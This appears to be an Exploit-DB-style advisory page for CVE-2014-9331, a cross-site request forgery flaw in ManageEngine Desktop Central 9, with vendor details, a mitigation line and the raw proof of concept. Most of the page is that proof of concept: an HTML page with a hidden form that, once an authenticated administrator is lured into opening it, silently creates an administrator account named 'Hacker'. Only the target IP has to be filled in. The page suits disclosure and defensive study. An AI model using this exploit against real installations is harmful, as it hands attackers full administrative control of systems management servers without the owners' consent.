ManageEngine Desktop Central 9 Add and admin user through Cross-Site Request Forgery (CSRF)

vendor:

Desktop Central

by:

Mohamed Idris

7.5

CVSS

HIGH

Cross-Site Request Forgery (CSRF)

CWE

Product Name: Desktop Central

Affected Version From: All versions below build 90121

Affected Version To: Unknown

Patch Exists: YES

Related CWE: CVE-2014-9331

CPE: a:manageengine:desktop_central:9

Metasploit:

Other Scripts:

Platforms Tested: Unknown

2014

ManageEngine Desktop Central 9 Add and admin user through Cross-Site Request Forgery (CSRF)

The ManageEngine Desktop Central 9 application is vulnerable to a Cross-Site Request Forgery (CSRF) attack. An authenticated application admin can be tricked into clicking a link that adds a new admin user to the application. The attacker needs to change the IP address in the code to the target server IP address.

Mitigation:

The vendor has provided a vulnerability fix for this issue. It is recommended to update to the latest version of ManageEngine Desktop Central.

Source

Exploit-DB raw data:

<html>
<!--
# Exploit Title: ManageEngine Desktop Central 9 Add and admin user through Cross-Site Request Forgery (CSRF)
# Date: 05 December 2014
# Exploit Author: Mohamed Idris – Help AG Middle East
# Vendor Homepage: http://www.manageengine.com/
# Software Link: http://www.manageengine.com/products/desktop-central/
# Version: All versions below build 90121
# Tested on: Version 9 Build 90087
# CVEID: CVE-2014-9331
# Vulnerability Fix: http://www.manageengine.com/products/desktop-central/cve20149331-cross-site-request-forgery.html

POC Code:
When an authenticated application admin clicks a link to the below code, you well get a user “Hacker” with the password “HackerPass” added to the application (convincing the admin to click on a link is so easy ;)).
Remember to change the IP to the target server IP address in the code.
-->
  <!-- CSRF PoC - Add an admin account -->
  <body>
    <form action="http://<Server-IP>:8020/STATE_ID/1417736606982/roleMgmt.do?actionToCall=addUser&SUBREQUEST=XMLHTTP" method="POST">
      <input type="hidden" name="AuthenticationType" value="DC" />
      <input type="hidden" name="newDCAuthUserName" value="Hacker" />
      <input type="hidden" name="newDCAuthUserPassword" value="HackerPass" />
      <input type="hidden" name="DCAuthconfirmPassword" value="HackerPass" />
      <input type="hidden" name="newDCAuthUserEmail" value="" />
      <input type="hidden" name="newDCAuthUserPNumber" value="" />
      <input type="hidden" name="newADAuthUserEmail" value="" />
      <input type="hidden" name="newADAuthUserPNumber" value="" />
      <input type="hidden" name="MapType" value="ALL" />
      <input type="hidden" name="aduserSearch" value="" />
      <input type="hidden" name="searchValue" value="Search" />
      <input type="hidden" name="aduserSearchRO" value="" />
      <input type="hidden" name="searchValue" value="Search" />
      <input type="hidden" name="action1" value="DC_ADD_USER" />
      <input type="hidden" name="addUser" value="Add User" />
      <input type="hidden" name="cancle" value="Cancel" />
      <input type="hidden" name="customerids" value="" />
      <input type="hidden" name="roleListDCAuth" value="1" />
      <input type="hidden" name="PERSONALISE_LANGUAGE" value="en_US" />
      <input type="hidden" name="domainListADAuth" value="-1" />
      <input type="hidden" name="roleListADAuth" value="-1" />
      <input type="hidden" name="PERSONALISE_LANGUAGE" value="en_US" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>